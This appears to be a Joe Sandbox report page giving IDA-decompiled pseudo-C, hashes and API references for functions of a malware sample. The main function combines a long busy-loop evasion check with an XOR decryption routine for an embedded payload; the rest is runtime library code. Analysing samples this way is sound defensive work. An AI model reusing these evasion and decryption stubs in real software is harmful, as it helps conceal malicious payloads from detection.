Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: VgAVcD2SHAXnQe2lUrUpQu4PVCzQ0Cu7MZvXuQOZAmWXjG2aRWH2M8sqiNk0mi3ui1MzFqdL9efqlfVbGkAAeHguQn$Xz67wLigZnWP7HS0hIm2OdijPtCSTmVUES6fHYzTIqtG3StL96o50VE5oHgiivgrBCyaKvgLXugZV2nfLoYqTVzDfi
API String ID: 3472027048-1325256052
Opcode ID: a174ad36f6107be2d93e9324353579852386ea76c7eb41ca4f2653d332d05054
Instruction ID: d56b76bffc65a04a6cec0df6eff3aec5ee3e3c3b376431a090338558bece4e7d
Opcode Fuzzy Hash: a174ad36f6107be2d93e9324353579852386ea76c7eb41ca4f2653d332d05054
Instruction Fuzzy Hash: 9AA20074A02119DBEB248F96FA9C2A8BF34FBA1381F9241A5D5D4720A9C73415B3CF1D

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 1.8, APIs: 1, Instructions: 535
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401000(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				long _v44;
				signed int _v48;
				char _v49;
				char _v50;
				signed char _t289;
				signed int _t299;

				_t289 = __eax;
				_v16 = 0;
				_v28 =  *0x421250;
				_v28 =  *0x42124c;
				_v28 =  *0x421248;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v28 =  *0x421238;
					_v28 =  *0x421234;
				}
				_v28 =  *0x421230;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x42122c;
					_v28 =  *0x421228;
				}
				_v28 =  *0x421224;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x421220;
					_v28 =  *0x42121c;
				}
				_v28 =  *0x421218;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x421214;
					_v28 =  *0x421210;
				}
				_v28 =  *0x42120c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x421208;
					_v28 =  *0x421204;
				}
				_v36 =  *0x421200;
				_v36 =  *0x4211fc;
				_v36 =  *0x4211f8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4211f4;
					_v36 =  *0x4211f0;
				}
				_v36 =  *0x4211ec;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4211e8;
					_v36 =  *0x4211e4;
				}
				_v36 =  *0x4211e0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4211dc;
					_v36 =  *0x4211d8;
				}
				_v36 =  *0x4211d4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4211d0;
					_v36 =  *0x4211cc;
				}
				_v36 =  *0x4211c8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4211c4;
					_v36 =  *0x4211c0;
				}
				_v12 =  *0x4211bc;
				_v12 =  *0x4211b8;
				_v12 =  *0x4211b4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x4211b0;
					_v12 =  *0x4211ac;
				}
				_v12 =  *0x4211a8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x4211a4;
					_v12 =  *0x4211a0;
				}
				_v12 =  *0x42119c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x421198;
					_v12 =  *0x421194;
				}
				_v12 =  *0x421190;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x42118c;
					_v12 =  *0x421188;
				}
				_v12 =  *0x421184;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x421180;
					_v12 =  *0x42117c;
				}
				_v40 =  *0x421178;
				_v40 =  *0x421174;
				_v40 =  *0x421170;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x42116c;
					_v40 =  *0x421168;
				}
				_v40 =  *0x421164;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x421160;
					_v40 =  *0x42115c;
				}
				_v40 =  *0x421158;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x421154;
					_v40 =  *0x421150;
				}
				_v40 =  *0x42114c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x421148;
					_v40 =  *0x421144;
				}
				_v40 =  *0x421140;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x42113c;
					_v40 =  *0x421138;
				}
				_v24 =  *0x421134;
				_v24 =  *0x421130;
				_v24 =  *0x42112c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x421128;
					_v24 =  *0x421124;
				}
				_v24 =  *0x421120;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x42111c;
					_v24 =  *0x421118;
				}
				_v24 =  *0x421114;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x421110;
					_v24 =  *0x42110c;
				}
				_v24 =  *0x421108;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x421104;
					_v24 =  *0x421100;
				}
				_v24 =  *0x4210fc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x4210f8;
					_v24 =  *0x4210f4;
				}
				_v8 =  *0x4210f0;
				_v8 =  *0x4210ec;
				_v8 =  *0x4210e8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x4210e4;
					_v8 =  *0x4210e0;
				}
				_v8 =  *0x4210dc;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x4210d8;
					_v8 =  *0x4210d4;
				}
				_v8 =  *0x4210d0;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x4210cc;
					_v8 =  *0x4210c8;
				}
				_v8 =  *0x4210c4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x4210c0;
					_v8 =  *0x4210bc;
				}
				_v8 =  *0x4210b8;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x4210b4;
					_v8 =  *0x4210b0;
				}
				_v20 =  *0x4210ac;
				_v20 =  *0x4210a8;
				_v20 =  *0x4210a4;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v20 =  *0x4210a0;
					_v20 =  *0x42109c;
				}
				_v20 =  *0x421098;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v20 =  *0x421094;
					_v20 =  *0x421090;
				}
				_v20 =  *0x42108c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v20 =  *0x421088;
					_v20 =  *0x421084;
				}
				_v20 =  *0x421080;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v20 =  *0x42107c;
					_v20 =  *0x421078;
				}
				_v20 =  *0x421074;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v20 =  *0x421070;
					_v20 =  *0x42106c;
				}
				_v32 =  *0x421068;
				_v32 =  *0x421064;
				_v32 =  *0x421060;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x42105c;
					_v32 =  *0x421058;
				}
				_v32 =  *0x421054;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x421050;
					_v32 =  *0x42104c;
				}
				_v32 =  *0x421048;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x421044;
					_v32 =  *0x421040;
				}
				_v32 =  *0x42103c;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x421038;
					_v32 =  *0x421034;
				}
				_v32 =  *0x421030;
				asm("fcomp qword [0x421240]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x42102c;
					_v32 =  *0x421028;
				}
				_v44 = 0;
				_v16 = 0;
				while(_v16 < 0x5f5e100) {
					_v44 = _v44 + 1;
					_t289 = _v16 + 1;
					_v16 = _t289;
				}
				if(_v44 == 0x5f5e100) {
					_v48 = 0;
					while(1) {
						_t289 = _v48;
						if(_t289 >= _a12) {
							goto L91;
						}
						Sleep(0); // executed
						_t299 = _v48 & 0x80000003;
						if(_t299 < 0) {
							_t299 = (_t299 - 0x00000001 | 0xfffffffc) + 1;
						}
						_v50 =  *(_a4 + _t299) ^  *(_a8 + _v48);
						_v49 =  *(_a8 + _v48);
						 *(_a8 + _v48) = _v50 + _v49;
						 *(_a8 + _v48) =  *(_a8 + _v48) - _v49;
						_v48 = _v48 + 1;
					}
				}
				L91:
				return _t289;
			}

0x00401000
0x00401006
0x00401013
0x0040101c
0x00401025
0x0040102b
0x00401031
0x00401036
0x0040103e
0x00401047
0x00401047
0x00401050
0x00401056
0x0040105c
0x00401061
0x00401069
0x00401072
0x00401072
0x0040107b
0x00401081
0x00401087
0x0040108c
0x00401094
0x0040109d
0x0040109d
0x004010a6
0x004010ac
0x004010b2
0x004010b7
0x004010bf
0x004010c8
0x004010c8
0x004010d1
0x004010d7
0x004010dd
0x004010e2
0x004010ea
0x004010f3
0x004010f3
0x004010fc
0x00401105
0x0040110e
0x00401114
0x0040111a
0x0040111f
0x00401127
0x00401130
0x00401130
0x00401139
0x0040113f
0x00401145
0x0040114a
0x00401152
0x0040115b
0x0040115b
0x00401164
0x0040116a
0x00401170
0x00401175
0x0040117d
0x00401186
0x00401186
0x0040118f
0x00401195
0x0040119b
0x004011a0
0x004011a8
0x004011b1
0x004011b1
0x004011ba
0x004011c0
0x004011c6
0x004011cb
0x004011d3
0x004011dc
0x004011dc
0x004011e5
0x004011ee
0x004011f7
0x004011fd
0x00401203
0x00401208
0x00401210
0x00401219
0x00401219
0x00401222
0x00401228
0x0040122e
0x00401233
0x0040123b
0x00401244
0x00401244
0x0040124d
0x00401253
0x00401259
0x0040125e
0x00401266
0x0040126f
0x0040126f
0x00401278
0x0040127e
0x00401284
0x00401289
0x00401291
0x0040129a
0x0040129a
0x004012a3
0x004012a9
0x004012af
0x004012b4
0x004012bc
0x004012c5
0x004012c5
0x004012ce
0x004012d7
0x004012e0
0x004012e6
0x004012ec
0x004012f1
0x004012f9
0x00401302
0x00401302
0x0040130b
0x00401311
0x00401317
0x0040131c
0x00401324
0x0040132d
0x0040132d
0x00401336
0x0040133c
0x00401342
0x00401347
0x0040134f
0x00401358
0x00401358
0x00401361
0x00401367
0x0040136d
0x00401372
0x0040137a
0x00401383
0x00401383
0x0040138c
0x00401392
0x00401398
0x0040139d
0x004013a5
0x004013ae
0x004013ae
0x004013b7
0x004013c0
0x004013c9
0x004013cf
0x004013d5
0x004013da
0x004013e2
0x004013eb
0x004013eb
0x004013f4
0x004013fa
0x00401400
0x00401405
0x0040140d
0x00401416
0x00401416
0x0040141f
0x00401425
0x0040142b
0x00401430
0x00401438
0x00401441
0x00401441
0x0040144a
0x00401450
0x00401456
0x0040145b
0x00401463
0x0040146c
0x0040146c
0x00401475
0x0040147b
0x00401481
0x00401486
0x0040148e
0x00401497
0x00401497
0x004014a0
0x004014a9
0x004014b2
0x004014b8
0x004014be
0x004014c3
0x004014cb
0x004014d4
0x004014d4
0x004014dd
0x004014e3
0x004014e9
0x004014ee
0x004014f6
0x004014ff
0x004014ff
0x00401508
0x0040150e
0x00401514
0x00401519
0x00401521
0x0040152a
0x0040152a
0x00401533
0x00401539
0x0040153f
0x00401544
0x0040154c
0x00401555
0x00401555
0x0040155e
0x00401564
0x0040156a
0x0040156f
0x00401577
0x00401580
0x00401580
0x00401589
0x00401592
0x0040159b
0x004015a1
0x004015a7
0x004015ac
0x004015b4
0x004015bd
0x004015bd
0x004015c6
0x004015cc
0x004015d2
0x004015d7
0x004015df
0x004015e8
0x004015e8
0x004015f1
0x004015f7
0x004015fd
0x00401602
0x0040160a
0x00401613
0x00401613
0x0040161c
0x00401622
0x00401628
0x0040162d
0x00401635
0x0040163e
0x0040163e
0x00401647
0x0040164d
0x00401653
0x00401658
0x00401660
0x00401669
0x00401669
0x00401672
0x0040167b
0x00401684
0x0040168a
0x00401690
0x00401695
0x0040169d
0x004016a6
0x004016a6
0x004016af
0x004016b5
0x004016bb
0x004016c0
0x004016c8
0x004016d1
0x004016d1
0x004016da
0x004016e0
0x004016e6
0x004016eb
0x004016f3
0x004016fc
0x004016fc
0x00401705
0x0040170b
0x00401711
0x00401716
0x0040171e
0x00401727
0x00401727
0x00401730
0x00401736
0x0040173c
0x00401741
0x00401749
0x00401752
0x00401752
0x00401755
0x0040175c
0x0040176e
0x0040177d
0x00401768
0x0040176b
0x0040176b
0x00401789
0x0040178b
0x0040179d
0x0040179d
0x004017a3
0x00000000
0x00000000
0x004017a7
0x004017b0
0x004017b6
0x004017bc
0x004017bc
0x004017cf
0x004017da
0x004017ed
0x00401804
0x0040179a
0x0040179a
0x0040179d
0x0040180b
0x0040180b

APIs

Sleep.KERNELBASE(00000000), ref: 004017A7

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 11d77cef622525f5736264378d90171b444e4b244f1426478d97d1bdebe7c3a8
Instruction ID: 8d5b38292d4e668de8a190614eeb4110cc2d17ac1b2fbc32f30c6e68c0c73838
Opcode Fuzzy Hash: 11d77cef622525f5736264378d90171b444e4b244f1426478d97d1bdebe7c3a8
Instruction Fuzzy Hash: 84322C70A01159DBEB208B85FA882ADBF70FBA5380FD241A5D6D4724B9C73905B2CF1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A580 Relevance: 1.7, APIs: 1, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040A580(void* __ecx, intOrPtr* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				signed int _v64;
				intOrPtr _t84;
				signed int _t89;
				signed char _t99;
				signed char _t104;
				void* _t108;
				signed int _t110;
				signed char _t111;
				signed char _t117;
				signed int _t119;
				void* _t125;
				signed int _t156;
				intOrPtr _t197;
				intOrPtr _t198;
				void* _t199;

				_push(0xffffffff);
				_push(E0041F1A0);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t197;
				_push(__ecx);
				_t198 = _t197 - 0x2c;
				_v20 = _t198;
				_v24 = 0;
				_t84 = E00409880(_a8);
				_t199 = _t198 + 4;
				_v28 = _t84;
				if(E0040A830(_a4 +  *((intOrPtr*)( *_a4 + 4))) <= 0) {
					L3:
					_v64 = 0;
				} else {
					_t125 = E0040A830(_a4 +  *((intOrPtr*)( *_a4 + 4)));
					_t201 = _t125 - _v28;
					if(_t125 <= _v28) {
						goto L3;
					} else {
						_v64 = E0040A830(_a4 +  *((intOrPtr*)( *_a4 + 4))) - _v28;
					}
				}
				_v32 = _v64;
				E0040ACE0( &_v40, _t201, _a4);
				if((E0040AE60( &_v40) & 0x000000ff) != 0) {
					_v8 = 0;
					_t89 = E0040A810(_a4 +  *((intOrPtr*)( *_a4 + 4)));
					__eflags = (_t89 & 0x000001c0) - 0x40;
					if((_t89 & 0x000001c0) != 0x40) {
						while(1) {
							__eflags = _v32;
							if(_v32 <= 0) {
								goto L13;
							}
							_t111 = E0040B380(_a4 +  *((intOrPtr*)( *_a4 + 4)));
							_v44 = E0040AC40(E0040A8D0(_a4 +  *((intOrPtr*)( *_a4 + 4))), _t111 & 0x000000ff);
							_v48 = E0040A800(_t114);
							_t117 = E0040A7E0( &_v48,  &_v44);
							_t199 = _t199 + 8;
							__eflags = _t117 & 0x000000ff;
							if((_t117 & 0x000000ff) == 0) {
								_t119 = _v32 - 1;
								__eflags = _t119;
								_v32 = _t119;
								continue;
							} else {
								_v24 = _v24 | 0x00000004;
							}
							goto L13;
						}
					}
					L13:
					__eflags = _v24;
					if(_v24 == 0) {
						_t108 = E0040B3A0(E0040A8D0(_a4 +  *((intOrPtr*)( *_a4 + 4))), _a8, _v28); // executed
						__eflags = _t108 - _v28;
						if(_t108 != _v28) {
							_t110 = _v24 | 0x00000004;
							__eflags = _t110;
							_v24 = _t110;
						}
					}
					__eflags = _v24;
					if(_v24 == 0) {
						while(1) {
							__eflags = _v32;
							if(_v32 <= 0) {
								goto L23;
							}
							_t99 = E0040B380(_a4 +  *((intOrPtr*)( *_a4 + 4)));
							_v52 = E0040AC40(E0040A8D0(_a4 +  *((intOrPtr*)( *_a4 + 4))), _t99 & 0x000000ff);
							_v56 = E0040A800(_t102);
							_t104 = E0040A7E0( &_v56,  &_v52);
							_t199 = _t199 + 8;
							__eflags = _t104 & 0x000000ff;
							if((_t104 & 0x000000ff) == 0) {
								_t156 = _v32 - 1;
								__eflags = _t156;
								_v32 = _t156;
								continue;
							} else {
								_v24 = _v24 | 0x00000004;
							}
							goto L23;
						}
					}
					L23:
					E0040A850(_a4 +  *((intOrPtr*)( *_a4 + 4)), 0);
					_v8 = 0xffffffff;
				} else {
					_v24 = _v24 | 0x00000004;
				}
				E0040A880(_a4 +  *((intOrPtr*)( *_a4 + 4)), _v24, 0);
				_v60 = _a4;
				E0040AE30( &_v40, _a4 +  *((intOrPtr*)( *_a4 + 4))); // executed
				 *[fs:0x0] = _v16;
				return _v60;
			}

0x0040a583
0x0040a585
0x0040a590
0x0040a591
0x0040a598
0x0040a599
0x0040a59f
0x0040a5a2
0x0040a5ad
0x0040a5b2
0x0040a5b5
0x0040a5ca
0x0040a5fd
0x0040a5fd
0x0040a5cc
0x0040a5d9
0x0040a5de
0x0040a5e1
0x00000000
0x0040a5e3
0x0040a5f8
0x0040a5f8
0x0040a5e1
0x0040a607
0x0040a611
0x0040a623
0x0040a633
0x0040a645
0x0040a64f
0x0040a652
0x0040a65f
0x0040a65f
0x0040a663
0x00000000
0x00000000
0x0040a670
0x0040a690
0x0040a698
0x0040a6a3
0x0040a6a8
0x0040a6ae
0x0040a6b0
0x0040a659
0x0040a659
0x0040a65c
0x00000000
0x0040a6b2
0x0040a6b8
0x0040a6b8
0x00000000
0x0040a6b0
0x0040a65f
0x0040a6bf
0x0040a6bf
0x0040a6c3
0x0040a6e1
0x0040a6e6
0x0040a6e9
0x0040a6ee
0x0040a6ee
0x0040a6f1
0x0040a6f1
0x0040a6e9
0x0040a6f4
0x0040a6f8
0x0040a705
0x0040a705
0x0040a709
0x00000000
0x00000000
0x0040a716
0x0040a736
0x0040a73e
0x0040a749
0x0040a74e
0x0040a754
0x0040a756
0x0040a6ff
0x0040a6ff
0x0040a702
0x00000000
0x0040a758
0x0040a75e
0x0040a75e
0x00000000
0x0040a756
0x0040a705
0x0040a765
0x0040a772
0x0040a79a
0x0040a625
0x0040a62b
0x0040a62b
0x0040a7b2
0x0040a7ba
0x0040a7c0
0x0040a7cb
0x0040a7d8

APIs

Part of subcall function 00409880: _strlen.LIBCMT ref: 00409887

std::ios_base::width.LIBCPMTD ref: 0040A772

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: _strlenstd::ios_base::width
String ID:
API String ID: 3171587704-0
Opcode ID: e21216ab771ee6e6c7ebea70123a78229b6488c89f08cc2efad71f92ee4417d6
Instruction ID: 62af540ec57db1a74a20a1bd3eee0127d294986ec0f7333b9198cd87171ff422
Opcode Fuzzy Hash: e21216ab771ee6e6c7ebea70123a78229b6488c89f08cc2efad71f92ee4417d6
Instruction Fuzzy Hash: 32815075900209EFCB04EF65C591AAEBB71FF44308F14C12EE9066B391DB39EA51CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00414EDC Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00414EDC(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44adc4 = _t6;
				if(_t6 != 0) {
					 *0x44b814 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x00414ef1
0x00414ef7
0x00414efe
0x00414f05
0x00414f0b
0x00414f01
0x00414f01
0x00414f01

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00414EF1

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: cd895dec74187ed764befdc4b88c7900d82f66ff1726671185798e8c75e3a9f8
Instruction ID: 599108f834219d88cadfd9fe68e81e1e6990f97745a204c64164a26e68a3556a
Opcode Fuzzy Hash: cd895dec74187ed764befdc4b88c7900d82f66ff1726671185798e8c75e3a9f8
Instruction Fuzzy Hash: ABD05EBAA953045BDB105F74AD09B623BDCD384396F048436F90CC6290E674D951C558

Uniqueness

Uniqueness Score: -1.00%

Function 0041555C Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041555C() {
				void* _t1;

				_t1 = E004154EA(0); // executed
				return _t1;
			}

0x0041555e
0x00415564

APIs

__encode_pointer.LIBCMT ref: 0041555E

Part of subcall function 004154EA: TlsGetValue.KERNEL32(00000000,?,00415563,00000000,0041B5CC,0044AE00,00000000,00000314,?,004153B3,0044AE00,Microsoft Visual C++ Runtime Library,00012010), ref: 004154FC
Part of subcall function 004154EA: TlsGetValue.KERNEL32(00000006,?,00415563,00000000,0041B5CC,0044AE00,00000000,00000314,?,004153B3,0044AE00,Microsoft Visual C++ Runtime Library,00012010), ref: 00415513
Part of subcall function 004154EA: RtlEncodePointer.NTDLL(00000000,?,00415563,00000000,0041B5CC,0044AE00,00000000,00000314,?,004153B3,0044AE00,Microsoft Visual C++ Runtime Library,00012010), ref: 00415551

Memory Dump Source

Source File: 00000000.00000002.350626305.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.350605300.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350817661.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350840826.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.351001080.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FKN6uh7y01.jbxd

Yara matches

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: fd124fe93f3be5271547377b8a142d0f28ab53eef4bbcf3c66bd9d9b2a761d3a
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00419693 Relevance: 66.4, APIs: 44, Instructions: 432
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00419693(signed int __eax, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _t142;
				signed int _t145;
				signed int _t148;
				signed int _t151;
				signed int _t154;
				signed int _t157;
				signed int _t159;
				signed int _t162;
				signed int _t165;
				signed int _t168;
				signed int _t171;
				signed int _t174;
				signed int _t177;
				signed int _t180;
				signed int _t183;
				signed int _t186;
				signed int _t189;
				signed int _t192;
				signed int _t195;
				signed int _t198;
				signed int _t201;
				signed int _t204;
				signed int _t207;
				signed int _t210;
				signed int _t213;
				signed int _t216;
				signed int _t219;
				signed int _t222;
				signed int _t225;
				signed int _t228;
				signed int _t231;
				signed int _t234;
				signed int _t237;
				signed int _t240;
				signed int _t243;
				signed int _t246;
				signed int _t249;
				signed int _t252;
				signed int _t255;
				signed int _t258;
				signed int _t261;
				signed int _t264;
				signed int _t267;
				signed int _t270;
				signed int _t276;

				_t278 =  *(__eax + 0x42) & 0x0000ffff;
				_t279 =  *(__eax + 0x44) & 0x0000ffff;
				_v8 =  *(__eax + 0x42) & 0x0000ffff;
				_v12 =  *(__eax + 0x44) & 0x0000ffff;
				if(__esi != 0) {
					_v16 = _v16 & 0x00000000;
					_v20 = __eax;
					_t142 = E00418E50(_t279,  &_v20, 1, _t278, 0x31, __esi + 4);
					_t145 = E00418E50(_t279,  &_v20, 1, _v8, 0x32, __esi + 8);
					_t148 = E00418E50(_t279,  &_v20, 1, _v8, 0x33, __esi + 0xc);
					_t151 = E00418E50(_t279,  &_v20, 1, _v8, 0x34, __esi + 0x10);
					_t154 = E00418E50(_t279,  &_v20, 1, _v8, 0x35, __esi + 0x14);
					_t157 = E00418E50(_t279,  &_v20, 1, _v8, 0x36, __esi + 0x18);
					_t159 = E00418E50(_t279,  &_v20, 1, _v8, 0x37, __esi);
					_t162 = E00418E50(_t279,  &_v20, 1, _v8, 0x2a, __esi + 0x20);
